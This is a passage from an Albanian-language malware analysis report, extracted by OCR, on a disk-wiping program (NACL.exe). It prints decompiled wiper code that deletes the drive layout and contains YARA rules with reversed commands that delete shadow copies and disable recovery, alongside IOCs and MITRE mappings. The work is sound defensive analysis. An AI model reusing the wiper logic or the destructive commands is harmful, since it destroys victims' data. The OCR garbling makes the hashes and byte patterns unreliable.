push  IOCTL_DISK DELETE_DRIVE_LAYOUT
push esi ; hFile

call [ebp+DeviceIloControlPtr]

Figura 25: Fshirja e té gjithé diskut

PP D

.rdata:@e417E18 dd @ ; GuardxXFGDispatchFuncticnPointer
.rdata:@8e417E14 dd & ; GuardXFGTableDispatchFunctionPointer
.rdata:@e417E18 dd offset _ castguard_check_failure_os_handled_fptr ; CastGuardOsDeterminedFailureMode
.rdata:8e417E1C align 48h
.rdata:@e417E48 _ safe_se_handler_table dd rva SEH_418Al@
.rdata:@e417E48 ; DATA XREF: .rdata:ee41iDAsto
.rdata:88417E44 dd rva sub_482128
.rdata:8@417E48 ; Debug information (IMAGE_DEBUG_TYPE_CODEVIEW)
.rdata:@@417E438 asc_417E48 db "RSDS’ ; DATA XREF: .rdata:ee41iDedto
.rdata:@8e417E43 ; OV signature
> .rdata:@8e417E4C dd @D3F494AEh 3 Datal ; GUID
.rdata:8e417E58 dw 1CCCh ; Dataz
.rdata:@e417E52 dw 4DB84h ; Data3
.rdata:88417E54 db @B4h, 1Bh, 11h, SDh, BB2h, ©F4h, 79h, &8h; Datad
.rdata:8e417E5C dd 1 ; Age
.rdata:8e417E6@ text "UTF-8", " ',8 ; PdbFileName
.rdata:@e417ESA align 4
.rdata:@@417ESC ; Debug information (IMAGE_DEBUG_TYPE_VC_FEATURE)
.rdata:88417E8C unk_417ESC db @ ; DATA XREF: .rdata:ee417yD2eto
.rdata:@8417ESD db -]
.rdata:@8417ESE db -]
.rdata:@8417ESF db -]
.rdata:88417E96 db 8Dsh
.rdata:@e417E91 db -]
.rdata:@e417E92 db -]
.rdata:@8417E93 db @
.rdata:8e417E94 db @Dsh
.rdata:@8417E95 db -]
.rdata:@8417E96 db -]
.rdata:@e417E97 db -]
.rdata:88417E938 db 1
.rdata:@8417E99 db -]
.rdata:@8417E9A db -]
.rdata:@8417E9E db @
.rdata:@e417E9C db @D4h
.rdata:@8417E9D db -]

000164€0 00417EE0: _rdata:00417E€0 (Synchronized with Hex View-1)

Figura 26: Ruajtja e skedarit né particionin F:
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— 1
Property Value
":"lu@ D:os Seader: File Name C:\Users\Public\NACL.exe
5] Nt Headers File Type Portable Executable 32
=] File Header 2 < :
= : | Header File Info Microsoft Visual C++ 8
2] Data Directories [x] File Size 220.34 KB (225624 bytes)
& Section Headers [x] PE Size 212.50 KB (217600 bytes)
—— |2 Import Directory
—— |2) Resource Directory Created Tuesday 26 December 2023, 15.23.50
— |2 Relocation Directory Modified Monday 25 December 2023, 21.52.14
—— (2 Debug Directory
S w&m Converter Accessed Thursday 28 December 2023, 12.15.51
— %), Dependency Walker MD5 F9431CF3ABCC85DA2431F5480EEGSF08
— N, Hex Editor
L 9, Identifier SHA-1 720C467046514F7376473B11271EBCB8D0OATEA39
—— %, Import Adder 1
— gﬁldflﬁwa‘ Property lValue
— 'ﬁim Editor CompanyName Attest Inspection
% UPX Unility FileDescription table primmer
FileVersion 3.0.1.1
InternalName Ptable.exe
LegalCopyright Copyright (C) 2023 Attest
OriginalFilename Ptable.exe
ProductName Ptable

Figura 27: Detajet e skedarit NACL exe, zhvillimi i tij né Microsoft Visual C++.

Windows NT BASE AP| Client

1

A indicators (certificate > stamp > missing) KERN‘ELSE‘dH o N T ATIE ° T ATTETTY i'mphc.rt
a8 footprints (count > 15)* e
§] virustotal (offline
> dos-header (size » 64 bytes)
B dos-stub (size > 202 bytes)
> rich-header (tooling > Visual Studic)
= file-header (executable » 32-bit)
> optional-header (subsystem > console)
= directories (stamp > Feb.2022)
= sections (count > 3)
B libraries (KERNEL32.dII) *
1 imports (flag > 66)

)

Ll & L

24 resources (count > 9)

zbe strings (count » 2813)

Ai¢ debug (streams > 3)

E[ manifest (level > aslnvoker)

version (OriginalFilename > Ptable.exe)
[] certificate (signature-info > invalid)

L overla

Figura 28: Importimi i librarive té dyshimta kernel32.dll
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Gjaté analizés sé kodit evidentohet gjithashtu se pjesa malinje e kodit ndodhet né adresén 0x00401010

—— g e o WY S L S | T

E

1
. 2|lvoid FUN_ 00401010 (void)
3
4
5 HMCDULE hModules;
6| FARPROC pEFvVarl;
7| FARPROC pFvVari;
8| int ivar3;
a8 wchar t local 210 [260];
10| uint local 8;
11
12| local 8 = DAT 00415004 * (uint)&stackOxfffffffc;
13 hModule = LoadLibraryW(L"ksrne132.d11");
14| pFvarl = GetProcAddress (hModuls, "DeviceIoControl™);
15 pEVar2 = GetProchAddress (hModule, "CreatsFileW");
16| FUN 004010cO({local 210,L"\\AM.\\%c:"});
17 iVar3 = (*pFVar2) (local 210,0xc0000000,3,0,3,0,0);
18 pFVar2 = GetProchddress (hModule, "ClossHandle™);
19| if (ivar2 != -1) {
20 (*pFvarl) (ivar3, 0x7c100,0,0,0,0,0,0);
i, (*pFVar2) (ivVar3) ;
22 }
23 FUN_004010£f1(local 8 ~ (uilnt) &stackOxfffffffc);
24 return;
21 25}

Figura 29: Ndryshimet pér té kryer veprimet malinje.
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5

1

2|/* Library Function - Single Match

3 _ stdio_common_vswprintf_ s

4

5 Libraries: Visual Studioc 2015 Release, Visual Studioc 2017 Release, Visual Studio 2019 Release
3

T|void _ ecdecl

8| stdio_common_vswprintf_ s

<] (undefined4 param_l,undefined4 param_2,wchar t *param 3, uint param_4,wchar t *param 5,
10 __ert_locales_pointers *param_ &,char *param 7)

11

12({

1Lz] common vsprintf s<wchar t>(CONCAT44 (param 2,param 1),param 3,param 4,param 5,param &,param 7);
14 return;

15}

lGI

Figura 30: Pjesé e kodit ku thérret direktoriné e specifikuar

Né kod duken variabla dhe shénjues, ku ngarkohet kernel32.dll duke pérdorur LoadLibraryW dhe
pérdor funksionin GetProcAddress pér té gjetur adresat e disa funksioneve qé jané pércaktuar mé herét.
Mé pas do pérdori njé funksion “stdio_common_vswprintf_s” g€ thérret stringun \\.\c: . Malware mé
pas do té thérrasi funksionin CreateFileW pér té krijuar njé hyrje né até direktori dhe e ruan né variablin
iVar3. Mé pas kontrollon nése éshté e pasakté. Nése nuk éshté do té thérrasi DeviceloControl me proces
handle e hapur mé paré dhe flagun 0x7¢100.

Flagu 0x7c100 éshté 1OCTL_DISK DELETE _DRIVE LAYOUT qé pérdoret pér té fshiré
particionimin e tabelés dhe informacionin e diskut.

Removes the boot signature from the master boot record, so that the disk
IOCTL DISK DELETE DRIVE LAYOUT 0x7c100 inc\api\ntdddisk.h will be formatted from sector zero to the end of the disk. Partition
information is no longer stored in sector zero.

Figura 31: Detajet e funksionit
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Aftésité e kétij programi keqdashés fshirés:

CAWindows\System32\emd.exe
Mic t Windows [Version 1¢
(c) Microsoft Corporation. All

FLARE-VM Thu 12/28/2823 9:34:42.92
C:\Users\flare\Desktop\Tools\Utilities>capa "C:

~C

FLARE-VM Thu 12/28/2023 9:35:81.08
C:\Users\flare\Desktop\Tools\Utilities>capa "C:\Users\flare\Desktop\NACL.exe"

md5S F abccB85daB431f54808ee68108

shal 4651417 1ebcb8d@a7ed39

sha256 El 72c55f572fe 5516d18fed1de768e7f29af7bdf469b52a3fe2531F
os windows

format

arch

FLARE-VM Thu 12
C:\Users\flare\

Figura 32: Analizimi pér aftésité e malware.
e Analiza Dinamike:

Pér té kuptuar sjelljen e malware u krye analiza dinamike gé konsiston né ekzekutimin e tij. Nése
tentojmé ta ekzekutojmé si nje pérdorues i thjeshté skedari nuk do té ekzekutohet .Kur i béjmé
debug pasi merr direktoriné bén fshirjen e boot signatures dhe nuk béhet dot mé boot sistemi

operativ.
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W INAULCAT T FILL JUSU T IVIUUUIS, HGLLEAT ©

ile Wiew Debug Tracing Plugins

COE =0

Favourites

ncau. wian

Options

nTau JuJE - AJCULY

[LITvalsug

Help May 8 2021 (TitanEngine)
tas§ twBo2sgPis ~LES

CPU |t Log [l Notes ® Breakpoints B Memory Map (L)' Call Stack =3 SEH l=| Seript #] Symhols <> Source - References 'S Threads & Handles T
@|[005c1263 33FF xor edi,edi ~
#|[005C1265 393E cmp dword ptr ds:[esi],edi

005Cc1267| ~ 74 1B je nacl.5c1284
#( 0051269 56 push esi
®|(005C126A E8 39030000 €all nacl.5c15A8
®| 005C126F 59 pop ecx
#(005C1270 84c0 test al,al
r----@|| 005c1 v 74 10 je nacl.5c1284
3 @/ 005CL. 8B36 mov esi,dword ptr ds:[esi]
! ®| 005c1. 57 push edi
! #| 005C1L 6A 02 push 2
i @/ 005¢C1. 57 push edi
i ®| 005c1. 8BCE mov_ecx,esi
| @|[005c127C FF15 0C215D00 €all dword ptr ds:[5p210C]
| e|005c1282 FFDG gall esi
4 005c1284 E8 47050000 call nacl.s5c17p0
@|[005C1289 8BFO mov esi,eax eax:&"ALLUSERSPROFILE=C:\\ProgramData"
®|[005c1288 393 cmp dword ptr ds:[esi],edi
005c128D| ~ 74 13 je nacl.sclza2
#( 005C128F 56 push esi
®|(005c1290 E8 13030000 €all nacl.5c15A8
®| 0051295 59 pop ecx
®|[005c1296 84c0 test al,al
@|(005c1298| ~ 74 08 je nacl.sclza2
@[ 005C129A FF36 push dword ptr ds:[esi]
®|(005c129C E8 2E3B0000 €all nacl. SC4ACF
#005C12A1 poli ecx
2 E8 26350000 €all nacl.5c47cD
B 8BFE mov edi,eax eax:&"ALLUSERSPROFILE=C:\\Programpata"”
. 9 E8 B93B000D €all nacl. 5C4B67
®|[005C12AE mov_esi,dword ptr ds:[eax] [eax] : "ALLUSERSPROFILE=C:‘\ProgramData”
#|(005Cc1280 E8 AC3B0000 €all nacl. 5c4B61
#( 0051285 57 push edi
®|| 0051286 56 push esi
@|[005C1287 FF30 push dword ptr ds:[eax] [eax]:"ALLUSERSPROFILE=C:'\\ProgramData"
®|| 0051289 E8 52FDFFFF €all nacl.5c1010
@|[005C12BE 83c4 0OC add esp,C
e|[005¢c12C1 8BFO mov esi,eax eax:&"ALLUSERSPROFILE=C:\\ProgramData" o
e|(005c12c3 E8 2E060000 call nacl. 5C18F6
< >

ce ran into

estart. You can restart

Figura 33: . Debuger i NACL.exe

Figura 34: Pas ekzekutimit t&é NACL.exe
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Figura 35: Tentativat pas reboot.

Pas ekzekutimit t¢ NACL.exe, kur tentohet startimi i sistemit operativ, déshton né gjetjen e
direktorisé BOOT.

Teknikat MITRE ATT&CK

ATT&CK Tactic ATT&CK Technique

=r: :Windows Command Shell T1859.883

Figura 36: Local.exe

ATTECK Tactic ATTE&CK Technique

Figura 37: nacl.exe
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ATT&CK Technique

Figura 38: staging.exe

Indikatorét e kompromitetit & Yara Rules

HASH-ET
NACL.exe (Emértimi origjinal Ptable.exe)
SHA-256: 36¢c72¢55f572fe02836125516d18fed1de768e7f29af7bdf469b52a3fe2531f
SHA-1: 720c467046514f7376473b11271ebcb8d0a7e439
MD5: f9431cf3abcc85da8431f5480ee68f08
p.psl (pusher.psl)

SHA-256: c8b72d6416df83ee44134c779f70125cf1713d8797b0128ef591a7fe15674ac8
SHA-1: a973el19aafa2de9ae63964e1fa06a8671eec91e7
MD5: 4278de224c8b12c7f202d8ce5¢6b3c17

Staging.exe
SHA-256:
08514D2E25F054F4436872AA75A9B64A4AT7C68823B27D4C4215D7D194DC6602E
SHA-1: 4b80478091b204e76ecdfffa275637bb1b98d103
MD5: 6236b621195dba9¢83305¢61b9ad0c71

Local.exe

SHA-256: 9f8bc496368241979ad77d62928dbc00f2104467dc98albaa84ela71915bfas8
SHA-1: 4b80478091b204e76ecdfffa275637bb1b98d103
MD5: 6236b621195dba9¢83305¢61b9ad0c71

1.exe (Plink)
SHA-256: b4862f8db04c475e5f96¢302be83f42c0eda8411152ed84fa40c3170f69a813f
SHA-1: 4e265736eaa201e270d851074878dfa60259e806
MD5: deaed4f96276c8eb5c8f712e519f3506

1P :

84.5451[]25  NL
95.221.229[.]192 RU
210.178.17[]96 KR
146.177.190[.]20 GB
143.198.143[.]69 US
166.149.132[.]96 US
4558.36[]254 CA
3.97.51[]116 CA
99.79.143[]35 CA
192.229.211[.]108 US
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103.109.100[.]233 HK
Yara Rules — sygjerohet aplikimi i tyre né pajisjet Endpoint Detection & Response:

1. rule apt_LowEraser_wiper_metadata
t
strings:
$name_in_pdb = "\\LowEraser"
$signer_name = "Attest Inspection Limited"
$signer_serial_num = {73 C8 38 96 1F A7 A0 12 49 41 92 5C 93 08 75 A6}
$rich_header = {7E EE 2D CD 3A 8F 43 9E 3A 8F 43 9E 3A 8F 43 9E}
condition:
any of them
}

rule apt_LowEraser_wiper_code
t
strings:
$delete_drive_ioctl = {6A 00 6A 00 6A 00 6A 00 6A 00 6A 00 68 00 C1 07 00}
$calls_code = {FF 95 FO FD FF FF 56 FF D7}
condition:
any of them
}

2.rule homeland justice - AllinOneNeo
L
strings:
$={facOc7e561ffb9al 96}
condition:
all of them

}

3. rule homeland justice - AllinOneNeo
{

strings:

$={
//18cedh16b22h58894aa86c421e8759df3

c6 [2-6] 8c

Cc6 [2-6] e4

c6 [2-6] bl

c6 [2-6] 6b

c6 [2-6] 22

c6 [2-6] b5

c6 [2-6] 88

c6 [2-6] 94

c6 [2-6] aa

c6 [2-6] 86

C6 [2-6] c4
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c6 [2-6] 21
c6 [2-6] e8
c6 [2-6] 75
c6 [2-6] 9d
Cc6 [2-6] f3
}

$ = 1This
condition:
all of them

}

4. rule homeland justice - AllinOneNeo
{
strings:
$={9090 90 90 6b 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 }
condition:
all of them

}

5. rule homeland justice - AllinOneNeo
{
strings:
$={
c6 [2-6] e0
C6 [2-6] f2
c6 [2-6] eb
c6 [2-6] 8c
c6 [2-6] 5¢
Cc6 [2-6] d4
c6 [2-6] a8
c6 [2-6] e3
c6 [2-6] cO
6 [2-6] 62
c6 [2-6] 6b
6 [2-6] 12
Cc6 [2-6] 8a
6 [2-6] 2f
c6 [2-6] 5d
c6 [2-6] 5d
c6 [2-6] 0d
}
$ = chat_id wide ascii
condition:
all of them

¥

6. rule homeland justice - AllinOneNeo
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L

strings:

$ = wxyz0123456789.-JKLMNOPghijklmnopgrstuvQRSTUVWXY ZabcdefABCDEFGHI
condition:

all of them

}

7. rule homeland justice - AllinOneNeo
{

strings:

$ = %sdo=3

$=**SMZ

$ = :---:MNEW

condition:

any of them

}

8. rule homeland justice - wiperninfostealer strings:
$s1 = {44 59 BC 70 D9 FB B1 6E}
$s2 = {7A 39 39 FA CE 1E BF 5C}
$s3={D9 FB B1 6E E1 7B 51}
$s4 = {26 1F FD AB D6 EE 7D CB}
$s5 = {2B 67 6B DF B8 E1 2F 4D}

condition:
uint16(0) == Ox5a4d and
2 of ($s*)
}
9.rule homeland justice - bi_bi_wiper wiper
{
strings:

$ftypel = ".exe" wide

$ftype2 = ".dIlI" wide

$ftype3 = ".sys" wide

$stringl = "[+] Stats: %d | %d"

$string2 = "[!] Waiting For Queue"

$string3 = "[+] Round %d"

$string4 = "[+] Path: %s"

$string5 = "[+] CPU cores: %d, Threads: %d"

$cmd1l = "lla/ telug/ swodahs eteled nimdassv ¢/ exe.dmc"
$cmd2 = "eteled ypocwodahs cimw ¢/ exe.dmc"

$cmd3 = "eruliafllaerongi ycilopsutatstoob }tluafed{ tes / tidedcb ¢ / exe.dmc"
$cmd4 = "on delbaneyrevocer }tluafed{ tes/ tidedcb c/ exe.dmc"

condition:
uint16(0) == Ox5A4D and
2 of ($ftype*) and
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3 of ($string*) and
any of ($cmd*)
}

10. rule homeland justice- bi_bi_wiper wiper
{
strings:
$stringl = "[+] Stats: %d | %d"
$string2 = "[!] Waiting For Queue"
$string3 = "[+] Round %d"
$string4 = "[+] Path: %s"
$string5 = "[+] CPU cores: %d, Threads: %d"
condition:
uint32(0) == 0x464c457f and 3 of them
}

11. rule homeland justice - babycarrot

L

strings:

$s1 = afx.IMG__ ascii

$s2 =$785h2222-df79-48b6-9824-4def50284906 ascii

condition:

uint16(0) == Ox5a4d and
filesize < 2MB and

1 of them

¥

12. rule homeland justice - linux_wiper_bibi
strings:
$ = {2E 00 00 00 42 00 00 00 69 00 00 00 42 00 00 00 69 00 00 00 00 00 00 00}
$ = .BiBi wide
$ = [+] Stats: %d | %d\n
$ = [+] Round %d\n
$ = [+] Path: %s\n
$ = [+] CPU cores: %d, Threads: %d\n
$ = {FO0 FA 02 [3-5] DO 07 00 00 [2-3] 05 00 00 00}
$ = {42 OF 00 [3-5] E8 03 00 00 [2-3] 01 00 00 00}
$={C6 2D 00 [3-5] 2C 01 00 00 [2-3] 03 00 00 00}
$ ={96 98 00 [3-5] F4 01 00 00 [2-3] 06 00 00 00}
condition:
4 of them
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